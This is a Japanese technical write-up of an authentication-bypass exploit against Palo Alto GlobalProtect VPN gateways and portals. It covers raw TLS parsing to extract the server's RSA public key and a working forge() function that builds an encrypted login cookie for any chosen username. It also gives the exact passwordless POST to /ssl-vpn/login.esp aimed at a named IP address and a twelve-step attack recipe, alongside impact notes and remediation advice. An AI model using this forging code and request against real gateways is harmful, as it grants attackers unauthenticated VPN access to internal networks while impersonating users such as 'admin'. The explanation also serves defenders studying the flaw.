
Palo Alto Networks PAN-OSには、GlobalProtectポータルとゲートウェイの欠陥に起因する認証バイパスの脆弱性が存在します。攻撃者はこれを利用して不正なVPN接続を確立できる可能性があります。この脆弱性を悪用するには、ポータルまたはゲートウェイへのネットワークアクセスが必要です。
このエクスプロイトは、サーバーの公開されているTLS証明書のみを使用して認証クッキーを偽造することで、Palo Alto GlobalProtect ゲートウェイ/ポータルへの未認証VPNアクセスを実現します。
GlobalProtect は、クライアントの認証を可能にする事前認証クッキー(portal-userauthcookie)を使用しています。ここに致命的な欠陥があります:
Normal Flow:
1. Client authenticates (username + password)
2. Server generates a cookie → encrypts it with server's RSA PUBLIC key
3. Client stores the encrypted cookie
4. On reconnect, client sends the cookie → server decrypts with PRIVATE key → trusts it
The Bug:
The server ONLY checks if the cookie decrypts successfully with its private key.
It does NOT verify WHO encrypted it or if the plaintext content is legitimate.
RSA公開鍵はサーバーのTLS証明書に埋め込まれており(接続する誰でもアクセス可能)、そのため任意の攻撃者は以下を行うことができます:
これは教科書どおりの壊れた認証の欠陥です — デジタル署名またはが必要な場面で暗号化を使用しています。
flowchart TD
A["Step 1: Raw TCP Connect"] --> B["Step 2: Send Crafted TLS ClientHello"]
B --> C["Step 3: Parse ServerHello → Extract DER Certificates"]
C --> D["Step 4: Walk ASN.1 to Extract RSA Public Key"]
D --> E["Step 5: Forge PKCS#1 v1.5 Encrypted Cookie"]
E --> F["Step 6: POST to /ssl-vpn/login.esp"]
F --> G{"Server Decrypts Cookie"}
G -->|"Valid plaintext"| H[" Auth Bypass — VPN Access Granted"]
G -->|"Invalid"| I[" Rejected"]なぜ生(raw)なのか? サーバーの証明書をDER(生バイナリ)形式で取得する必要があるためです。Python の
sslモジュールは内部で完全なTLSハンドシェイクを実行し、同じ方法で生の証明書バイトを公開しません。生のTCP接続を行い、手作りしたClientHelloを送信することで、サーバーの応答をバイトレベルで傍受できます。
TLSレコードは次のようになります:
┌──────────────────────────────────────────────────┐
│ TLS Record Header (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Type │ Version │ Length │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Handshake Message │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Type │ Length │ Body │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
ClientHelloボディには以下が含まれます:
| フィールド | 値 | 目的 |
|---|---|---|
| バージョン | 0x03 0x03 (TLS 1.2) | TLS 1.2に対応していることをサーバーに伝える |
| ランダム | 4バイトのタイムスタンプ + 28バイトのランダム値 | ハンドシェイク用のノンス |
| セッションID | 0x00 (空) | セッション再開なし |
| 暗号スイート | TLS_RSA_WITH_AES_128_CBC_SHA を含む9スイート | 重要: RSAのみの暗号スイートを含めることで、サーバーにRSA証明書の使用を強制します |
| 圧縮 | 0x00 (なし) | 必須 |
含まれる拡張:
| 拡張 | ID | 目的 |
|---|---|---|
| SNI(サーバー名表示) | 0x0000 | 接続先のホスト名をサーバーに伝える |
| 署名アルゴリズム | 0x000D | サポートする署名アルゴリズムを通知する |
| サポート対象グループ | 0x000A | サポートするEC曲線(P-256、P-384、P-521) |
| ECポイント形式 | 0x000B | 非圧縮ECポイント |
[!NOTE] 暗号スイートには意図的にRSA鍵交換暗号(
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA)が含まれています。これにより、サーバーはECDSA証明書ではなくRSA証明書で応答するように促されます。これはエクスプロイトがRSAでのみ機能するため重要です。
ClientHelloを送信した後、サーバーは複数のTLSレコードを返します:
Server Response:
┌─────────────────┐
│ ServerHello │ (handshake type 2)
├─────────────────┤
│ Certificate │ (handshake type 11) ← WE WANT THIS
├─────────────────┤
│ ServerKeyExchange│ (handshake type 12, optional)
├─────────────────┤
│ ServerHelloDone │ (handshake type 14) ← STOP SIGNAL
└─────────────────┘
フェーズ1 — TLSレコードヘッダーの除去:
各TLSレコードには5バイトのヘッダーがあります:[type(1)] [version(2)] [length(2)]。コードはすべてのレコードをスキャンし、type == 22(Handshake)のものについて、そのペイロードを連結します:
while i + 5 <= len(data):
t = data[i] # content type
rl = (data[i + 3] << 8) | data[i + 4] # record length
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # grab payload
i += 5 + rl # next record
フェーズ2 — Certificateメッセージ(タイプ11)の検出:
ハンドシェイクストリーム内では、各メッセージに4バイトのヘッダーがあります:[type(1)] [length(3)]。type == 11をスキャンします:
while j + 4 <= len(hs):
ht = hs[j] # handshake type
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # 3-byte length
if ht == 11: # Certificate!
# Parse the certificate list inside
フェーズ3 — 個々のDER証明書の抽出:
Certificateメッセージには証明書のリストが含まれ、各証明書には3バイトの長さが前置されます:
Certificate Message Body:
┌───────────────────────────────────┐
│ Total Certs Length (3 bytes) │
├───────────────────────────────────┤
│ Cert 1 Length (3 bytes) │
│ Cert 1 DER data (variable) │
├───────────────────────────────────┤
│ Cert 2 Length (3 bytes) │
│ Cert 2 DER data (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
私たちのテスト実行では、3つの証明書(リーフ証明書、中間CA、ルートCA)を取得しました。
この関数はServerHelloDone(ハンドシェイクタイプ14)をスキャンします。これはサーバーが送信を完了したことを示し、読み取りを停止できることを知らせます。
X.509証明書はDER(Distinguished Encoding Rules)でエンコードされており、これはASN.1(Abstract Syntax Notation One)に基づくバイナリ形式です。
DER内のすべての要素は次のとおりです:
┌─────┬────────┬───────────────────┐
│ Tag │ Length │ Value (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
長さのエンコード:
0x80 未満の場合:長さはそのバイト自体(短形式)0x80 以上の場合:下位7ビット = 長さをエンコードする後続バイト数(長形式)# Example: length byte = 0x82 → 2 more bytes follow
# Next 2 bytes: 0x06 0x4F → length = 0x064F = 1615 bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # long form?
nb = length & 0x7F # how many bytes follow
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = start of value
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (optional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ WE WANT THIS ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (optional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
この関数は、タグ+長さを読み取り、不要なフィールドをスキップしながらDERツリーを移動します:
# Enter outer SEQUENCE (Certificate)
r = rd_tl(der, 0) # → SEQUENCE
# Enter tbsCertificate SEQUENCE
r = rd_tl(der, p) # → SEQUENCE
# Check for optional version tag
r = rd_tl(der, p)
if r["tag"] == 0xA0: # version field present → skip it
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# Skip: serial → sigAlg → issuer → validity → subject
# (just read each TLV and jump past it)
# NOW we're at subjectPublicKeyInfo
# Read the AlgorithmIdentifier → check if OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ This is 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # Not RSA (probably ECDSA)
# Read the BIT STRING → skip 1 byte (unused bits indicator)
# Read the inner SEQUENCE → extract modulus (n) and exponent (e)
重要な詳細 — モジュラスの先頭ゼロバイト:
if der[ms] == 0 and ml > 1:
ms += 1 # strip leading 0x00
ml -= 1
DERは整数を符号付きでエンコードします。モジュラスの最上位ビットが1の場合、正の値を保つために0x00バイトが先頭に付加されます。生の符号なし値が必要なため、これを削除します。
今回のターゲットの場合: モジュラス = 2048ビット(256バイト)、指数 = 65537(0x10001)
これがエクスプロイトの核心です。
平文クッキーの形式は次のとおりです:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── Client IP
│ │ └── Unix timestamp
│ └── OS identifier
└── Username (we choose "admin")
RSA暗号化の前に、平文を鍵サイズ(2048ビットRSAでは256バイト)までパディングする必要があります:
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Random non-zero padding │ 0x00 │ Plaintext message │
│ │ │ (≥ 8 bytes) │ │ │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen bytes 1B message bytes
Total = 256 bytes (= key size)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + 0x00 separator
if pad_len < 8: # PKCS#1 requires ≥ 8 pad bytes
return ""
em = bytearray([0x00, 0x02]) # Type 2 padding header
for _ in range(pad_len):
em.append(random.randint(1, 255)) # non-zero random bytes!
em.append(0x00) # separator
cat(em, pt) # append plaintext
# RSA encryption: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
RSAの計算:
ciphertext = plaintext^e mod n
Where:
plaintext = the padded message as a big integer (256 bytes → ~2048 bits)
e = 65537 (public exponent)
n = the 2048-bit modulus from the certificate
[!IMPORTANT] これは、RSA暗号化が公開鍵(n, e)を使用するため機能します。公開鍵はTLS証明書から誰でも取得できます。サーバーは秘密鍵(n, d)で復号し、平文 —
admin;;Windows;;timestamp;0.0.0.0を取得します。その後、サーバーはこの平文を盲目的に信頼します — クッキーが自分自身によって正当に発行されたかどうかを決して検証しません。
偽造したクッキーは、標準のHTTPS POSTとしてGlobalProtect ログインエンドポイントに送信されます:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← empty! no password needed
&context=gateway ← or "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=
[!NOTE]
passwdフィールドは空です。サーバーはパスワードをまったくチェックせず、認証を完全にportal-userauthcookieに依存しています。
このエクスプロイトは2つのエンドポイントをテストします:
context=gateway):VPNトンネルへの直接アクセスcontext=portal):ポータル設定へのアクセスdef is_gateway_success(resp, user):
# Check for HTTP 200
# Check for <status>Success</status> in XML body
# OR <argument> tag containing the username
sequenceDiagram
participant A as Attacker
participant GP as GlobalProtect Server
A->>GP: TCP Connect (port 443)
A->>GP: Raw TLS ClientHello (hand-crafted)
GP->>A: ServerHello + Certificate (contains RSA public key)
GP->>A: ServerHelloDone
Note over A: Extracts RSA public key (n, e) from cert
Note over A: Forges cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (over TLS)
Note over GP: Receives portal-userauthcookie
Note over GP: Decrypts with RSA private key
Note over GP: Gets "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Trusts it blindly — no signature check!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 Full VPN access as "admin"| 側面 | 影響 |
|---|---|
| 認証情報が不要 | 公開鍵は文字通り公開されており、接続する誰でも取得できます |
| ブルートフォース不要 | 試行ごとに単一のリクエストで、脆弱なサーバーでは常に成功します |
| 事前認証 | ログイン前に悪用可能 — 既存のセッションは不要 |
| ユーザーになりすまし | 攻撃者は任意のユーザー名(admin、CEOなど)を選択できます |
| 完全なVPNアクセス | 認証されると、攻撃者は内部ネットワーク上にいます |
| パスワード失敗のログなし | 認証はクッキー経由のため、パスワード失敗のアラートは発生しません |
根本的な問題は、認証に暗号化を使用していることです。正しいアプローチは次のとおりです:
デジタル署名:サーバーは暗号化されたクッキーを復号するのではなく、秘密鍵でクッキーに署名する必要があります。そして再認証時に署名を検証します。
HMAC:サーバー側の秘密鍵を使用してクッキーペイロードをHMACで保護します。秘密を知っているのはサーバーだけなので、クッキーを偽造することはできません。
トークンバインディング:クッキーを元の認証セッションにバインドし、異なるコンテキストから再生できないようにします。
Broken: cookie = RSA_encrypt(userdata, public_key) ← anyone can do this!
Fixed: cookie = HMAC(server_secret, userdata) ← only server can do this
1. TCP connect to target:443
2. Send hand-crafted ClientHello (raw bytes over TCP, NOT TLS)
3. Receive ServerHello + Certificate + ServerHelloDone
4. Parse TLS records → extract handshake messages
5. Find Certificate message (type 11) → extract DER-encoded certs
6. Walk ASN.1/DER structure of leaf cert:
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier (check OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Build plaintext: "admin;;Windows;;1748928001;0.0.0.0"
8. PKCS#1 v1.5 pad: 0x00 0x02 [random≥8] 0x00 [plaintext]
9. RSA encrypt: ciphertext = padded^e mod n
10. Base64 encode → URL encode
11. POST to /ssl-vpn/login.esp with forged cookie (over proper TLS)
12. Server decrypts → trusts blindly → grants VPN access